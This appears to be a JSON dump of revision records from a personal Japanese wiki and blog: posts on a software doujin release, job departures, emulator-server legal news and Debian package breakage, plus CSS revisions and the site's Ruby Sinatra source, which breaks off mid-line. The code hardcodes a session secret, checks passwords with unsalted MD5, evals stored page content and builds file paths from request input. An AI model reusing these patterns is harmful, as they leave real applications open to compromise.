Now](https://github.com/ssig33/Mark-It-now) についてその思想や実装、使い方を解説するものを頒布する予定です。\r\n\r\n頒布方法としては PDF だか HTML だかとすぐに pig と Mark It Now を使える Vagrant box を入れた CD-ROM を頒布する形を考えています。\r\n\r\nしかしながら!!!!!!今現在私多忙を極めておりまして、このままでは確実に本は**完成しません**。\r\n\r\nそこでたぶん使い方の部分など未完成のものを配ることになります。それはいくらなんでもひどいので、以下のサービスをセットで頒布致します。\r\n\r\n- 同人誌データを管理する git リポジトリへのアクセス権\r\n - 当然ですが未完成部分の完成は保証します\r\n - 2014/01/9 までには全面的に完成状態にします\r\n- pig-media-server などのインストールサポート\r\n- 大量エンコード環境の構築サポート\r\n - 上記二件は IRC かなんかで提供します\r\n- pig-media-server および Mark It Now への新機能の優先リクエスト権限\r\n - github に issue で登録して頂ければ 36 時間以内に対応することとします\r\n\r\nCD-ROM など 50 部ぐらいしか提供できないと思いますので、もしまかり間違って完売した場合は、上記のサービスのみを希望される方には提供したいと思います。\r\n\r\n価格は 500 円です。今決めた。めっちゃ高いけど pig-media-server もう 2 年ぐらいメンテし続けたものだというのと上記サービス込みで提供するというのとで許してください!!!!\r\n\r\nもろもろ管理めんどくさいのでサービスも含め通販はしません。会場に来て頂きたく。\r\n\r\nスペースは**[火曜日 西す18b](https://webcatalog.circle.ms/Circle/11029567)**です。よろしくお願いいたします!!!!!!!!!\r\n\r\nあとポルノアニメさんの[ジュエルポッド改造する本](http://ushiroad.com/C84/)も極少量頒布されると思います。本当に極少量だろうけど。","created_at":"2013-12-23T16:18:39.000Z","updated_at":"2013-12-23T16:18:39.000Z"},{"id":2575,"name":"text/Debian sid の zsh 壊れてる","body":"%blog%\r\n\r\n- http://ftp-master.metadata.debian.org/changelogs//main/z/zsh/zsh_5.0.4-1_changelog\r\n\r\nzsh (5.0.4-1) unstable これ壊滅的に壊れてます。入れると X 起動しなくなります。古いバージョンで固定しておくか、自前で zsh ビルドするかすると解決します。自前でビルドする場合は 5.0.4 でよいです。\r\n\r\npaco とかで自前ビルドを管理するのがいいんじゃないでしょうか。","created_at":"2013-12-24T12:24:41.000Z","updated_at":"2013-12-24T12:24:41.000Z"},{"id":2576,"name":"text/****を退職しました","body":"%blog%\r\n\r\n![退職](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\n本日を持って **** を退職しました。諸々掛け持ちで酷い状態なの全然変わってないんですが、まあいろいろマシになると思います。\r\n\r\n退職した理由は新しいボスが **** でそれはさすがにないだろと思ったからです。\r\n\r\nHQ が **** なので **** で **** な事情なので税金が **** で **** となるので各位そこは御安心頂きたく思います。\r\n\r\n来年からは他の作業の精度と速度に改善が見られることと思います。\r\n\r\nあとそろそろ言っておきますが僕と山岸和利は Web 系エンジニアとしてはハートレイルズという会社で働いています。この会社は受託と自社サービスでやっている古きよきごく普通の Web 系の会社なのですが、オフィスが存在しないという特徴があります。\r\n\r\n自由な働きかたをしたいがしかし生活の保証は欲しいという都合のいいことを考えている人間には極めてオススメの会社です。またそれなりの高給やそれなりの新しい技術を触る環境は得つつ地方に住みたいみたいな人にもおすすめです。\r\n\r\nRuby On Rails やら Node.js やらで Web アプリケーションを作りつつ iOS やら Android やらその他モバイルプラットフォームやらのアプリケーションを作るという普通のことをやってます。普通のことを自由にやれるのがよいところです。\r\n\r\n社内の技術水準それなりにそれなりですが、超人じゃないと働けないとか一切ないので出社したくない人はよろしくお願いします。僕とか今年あんまり日本にいなかったけどなんとかなった会社です。まだ転職に成功してない GREE 社員の方とか @ssig33 に連絡ください。\r\n\r\n就労ビザ切れてた期間が 5 日だけだけどあったことを告白しておきます。","created_at":"2013-12-27T16:20:47.000Z","updated_at":"2013-12-27T16:20:47.000Z"},{"id":2577,"name":"text/エミュ鯖送検の話について","body":"%blog%\r\n\r\n何が問題視されてるのか正直そこまで調べてないんだが、簡単に想像される問題点について書く。\r\n\r\nようは hosts ファイルを書き換えて公式と違うサーバーに繋いだのが「同一性保持権の侵害」ということにされているらしい。\r\n\r\n- 怪しげなツールバーの通信を監視したりデバッグプロキシで書き換えたら同一性保持権の侵害とされる可能性がある\r\n - ようは高木先生が捕まる可能性がある\r\n- user.css や user.js を提供したところ想定しない画面表示をさせたので同一性保持権の侵害とされる可能性がある\r\n\r\n不正競争防止法ではエミュ鯖の利用者を挙げられないので、著作権侵害で挙げたんだと思う。このような法律を拡大解釈を許しているとインターネットが崩壊しかねない。\r\n\r\n散々言われてることだが名誉条項が無く極めて適用範囲が広い日本の同一性保持権の弊害がいよいよ明らかになってきている感じがする。かなりまずいことになってきた。\r\n\r\n#### 2013/12/27 追記\r\n- http://sankei.jp.msn.com/affairs/news/131227/crm13122713060009-n1.htm\r\n\r\n\u003e オンラインゲームのプログラムを不正に入手し、海賊版をインターネットで公開したとして、著作権法違反の疑いで書類送検された20代の男性を不起訴処分にした。\r\n\r\n\u003e このゲームで遊んだとして書類送検された男性2人も不起訴処分とした。\r\n\r\n正義は勝った。","created_at":"2013-12-28T14:52:29.000Z","updated_at":"2013-12-28T14:52:29.000Z"},{"id":2578,"name":"text/******** も退職しました","body":"%blog%\r\n\r\n![退職](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\nもう一個仕事抜けました。抜けよう抜けようと思ってたところに後任ゲット + まあ年末のイベントでいろいろあった、みたいな感じです。\r\n\r\nホモの揉め事は大変だということを数年かけて学びました、以上です。","created_at":"2014-01-07T02:45:25.000Z","updated_at":"2014-01-07T02:45:25.000Z"},{"id":2579,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'memcached'\r\nrequire 'digest/md5'\r\n$memcache = Memcached.new(\"localhost:11211\")\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n begin\r\n cache = $memcache.get(\"site/#{CGI.escape request.path_info}\")\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n $memcache.set(\"site/#{CGI.escape request.path_info}\", for_cache, 60)\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache_path = Digest::MD5.hexdigest(cache_path).to_s\r\n begin\r\n cache = $memcache.get(cache_path)\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n $memcache.set(cache_path, for_cache, 80000)\r\n else\r\n $memcache.set(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n begin\r\n $memcache.delete Digest::MD5.hexdigest(\"site/#{CGI.escape \"/\"+CGI.unescape(params[:id])}\").to_s\r\n rescue Memcached::NotFound\r\n end\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2014-01-07T06:03:42.000Z","updated_at":"2014-01-07T06:03:42.000Z"},{"id":2580,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 80 4145 9835 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** live:ssig33skype \r\n**Job :** Scinario Writer, Software Engineer \r\n**Face :** \r\n![img](http://ssig33.com/gyazo/1172dc470bf038831261f7e8acfeb547.png)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN)","created_at":"2014-01-07T06:07:20.000Z","updated_at":"2014-01-07T06:07:20.000Z"},{"id":2581,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n background:black;\r\n color:white;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2014-01-07T06:09:46.000Z","updated_at":"2014-01-07T06:09:46.000Z"},{"id":2582,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n background:darkblue;\r\n color:white;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:red}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2014-01-07T06:10:12.000Z","updated_at":"2014-01-07T06:10:12.000Z"},{"id":2583,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2014-01-07T06:20:53.000Z","updated_at":"2014-01-07T06:20:53.000Z"},{"id":2584,"name":"text/法律が明文化されてないと駄目","body":"%blog%\r\n\r\n大昔に書いた\r\n\r\n- [エミュ鯖送検の話について](http://ssig33.com/text/%E3%82%A8%E3%83%9F%E3%83%A5%E9%AF%96%E9%80%81%E6%A4%9C%E3%81%AE%E8%A9%B1%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6)\r\n\r\nに最近進捗があって、それで昔のブコメとか読んでて思ったんですが\r\n\r\n「法律が明文化されてないので運用でカバーとか駄目絶対」みたいなことを言いがちな人が多いのですが(そしてそういう人は日本の法律ダメ絶対みたいな意見であることが多い)、例えばイギリスとか憲法が明文化されてないわけです。\r\n\r\nそもそもあらゆるパターンを想定して明文化された法律を書くなどということは不可能なわけです。プログラマーの皆さんならよく分かると思いますが例外的ケースを全てテストに記述することはだいたい不可能で、それをやるにだいたい等しい証明駆動開発など実用的なプロダクトではまあまず利用されないわけです。\r\n\r\nなので例外的ケースとか想定してなかったケースとかは運用でなんとかするしかないわけで、ようは判例でなんとかしていくというわけです。英米法の体系を持つ日本にあっては上級審の判例というのは比較的強い拘束力を持ちます(しかしながら形式上は法源とされているわけではないので絶対の拘束力を持つわけでもない)。\r\n\r\n- 法律が明文化されてないので運用でカバーとか駄目絶対\r\n\r\nというのは法源を議会にのみ求めよというわけで、言い換えれば日本の法律を一旦全廃して典型的大陸法の形態を導入せよと言うのに等しいわけですが、実際のところドイツ法などにあっても事実上憲法裁判所の決定は法源とみなされます。\r\n\r\n結局のところ「運用」が常識やら民意やらに沿ってるかというのが問題なわけでして、エミュ鯖の件は「起訴猶予」ではなく「不起訴」ですし、違法アップロードされた音楽映像コンテンツのダウンロードを刑法犯化した事案にあっても自首したキチガイ以外逮捕されてなかったと思いますし、運用はだいたい問題ないわけです。\r\n\r\n「運用でカバーは駄目!!!」というの「日本の警察の法律知識が微妙」という問題があるので実際そうかなという感じはするんですが、実際のところ検察から先は日本かなりまともなので問題ないと言えるのではないかと思っています。しかしながらマスコミや企業の法知識が微妙なので「判決が確定していないにもかかわらず逮捕時点で懲戒解雇してしまう企業」とかが存在していたりなのでまあ、、、みたいのはあるんですがそれはまた別の問題だと思います。\r\n\r\n「日本社会は人権を破壊する異常な社会!!!」ということにしておきたい人がいるのはまあ分かりますがディスカバリーチャンネルなどでアメリカ社会の様子を見れば日本がそうとう幸せなところなのが分かりますしディスカバリーチャンネルは最高に楽しいテレビ局です。飛行機没収!大作戦を見ましょう。","created_at":"2014-01-08T03:43:03.000Z","updated_at":"2014-01-08T03:43:03.000Z"},{"id":2585,"name":"text/Debian sid の zsh 壊れてる","body":"%blog%\r\n\r\n- http://ftp-master.metadata.debian.org/changelogs//main/z/zsh/zsh_5.0.4-1_changelog\r\n\r\nzsh (5.0.4-1) unstable これ壊滅的に壊れてます。入れると X 起動しなくなります。古いバージョンで固定しておくか、自前で zsh ビルドするかすると解決します。自前でビルドする場合は 5.0.4 でよいです。\r\n\r\npaco とかで自前ビルドを管理するのがいいんじゃないでしょうか。\r\n\r\n** 追記 **\r\n\r\n今は直ってます\r\n\r\n- http://packages.qa.debian.org/t/tar.html","created_at":"2014-01-08T03:50:20.000Z","updated_at":"2014-01-08T03:50:20.000Z"},{"id":2586,"name":"text/Debian sid の zsh 壊れてる","body":"%blog%\r\n\r\n- http://ftp-master.metadata.debian.org/changelogs//main/z/zsh/zsh_5.0.4-1_changelog\r\n\r\nzsh (5.0.4-1) unstable これ壊滅的に壊れてます。入れると X 起動しなくなります。古いバージョンで固定しておくか、自前で zsh ビルドするかすると解決します。自前でビルドする場合は 5.0.4 でよいです。\r\n\r\npaco とかで自前ビルドを管理するのがいいんじゃないでしょうか。\r\n\r\n**追記**\r\n\r\n今は直ってます\r\n\r\n- http://packages.qa.debian.org/t/tar.html","created_at":"2014-01-08T03:50:29.000Z","updated_at":"2014-01-08T03:50:29.000Z"},{"id":2587,"name":"text/Debian sid の zsh 壊れてる","body":"%blog%\r\n\r\n- http://ftp-master.metadata.debian.org/changelogs//main/z/zsh/zsh_5.0.4-1_changelog\r\n\r\nzsh (5.0.4-1) unstable これ壊滅的に壊れてます。入れると X 起動しなくなります。古いバージョンで固定しておくか、自前で zsh ビルドするかすると解決します。自前でビルドする場合は 5.0.4 でよいです。\r\n\r\npaco とかで自前ビルドを管理するのがいいんじゃないでしょうか。","created_at":"2014-01-08T03:53:16.000Z","updated_at":"2014-01-08T03:53:16.000Z"},{"id":2588,"name":"text/Docker を Debian sid で動かす","body":"%blog%\r\n\r\n- [Debian(wheezy)でdockerを動かす。 - .h2oのお気楽日記](http://d.hatena.ne.jp/dot_h2o2/20131202/p1)\r\n\r\n基本上記の通りで動くんですがコミット出来ません。繰り返しますがコミットが出来ません。\r\n\r\nそこで Docker の issue を掘ってるとこんなのがありました\r\n\r\n- https://github.com/dotcloud/docker/issues/2643#issuecomment-28263113\r\n\r\noh crazy motherfucker!!!!!!\r\n\r\ntar 1.27 がぶっ壊れているとのことです。そこで [GNU tar のサイト](http://www.gnu.org/software/tar/)を見てみると、 1.27.1 がリリースされてあり、リリースノートは以下のようにあります。\r\n\r\n- Fix unquoting of file names obtained via the -T option\r\n- Fix GNU long link header timestamp (backward compatibility)\r\n- Fix extracting sparse members from star archives\r\n\r\n追ってませんがどうせ一番上のやつが問題なのでしょう。\r\n\r\n今日現在 Debian sid の tar は 1.27 です。 1.27.1 を入れるなり待つなり stable から tar 1.26 を取ってくるなりして解決すればよいと思います。\r\n\r\nこの手のツール、ホスト側では安定版ディストリビューションつかって仮想マシン側で sid を使うみたいのが正しいあり方なのでしょうが、さすがにデスクトップ機で stable は無い話なので。。。\r\n\r\n\r\n**追記**\r\n\r\n今は直ってます\r\n\r\n- http://packages.qa.debian.org/t/tar.html","created_at":"2014-01-08T03:53:32.000Z","updated_at":"2014-01-08T03:53:32.000Z"},{"id":2589,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'memcached'\r\nrequire 'digest/md5'\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect 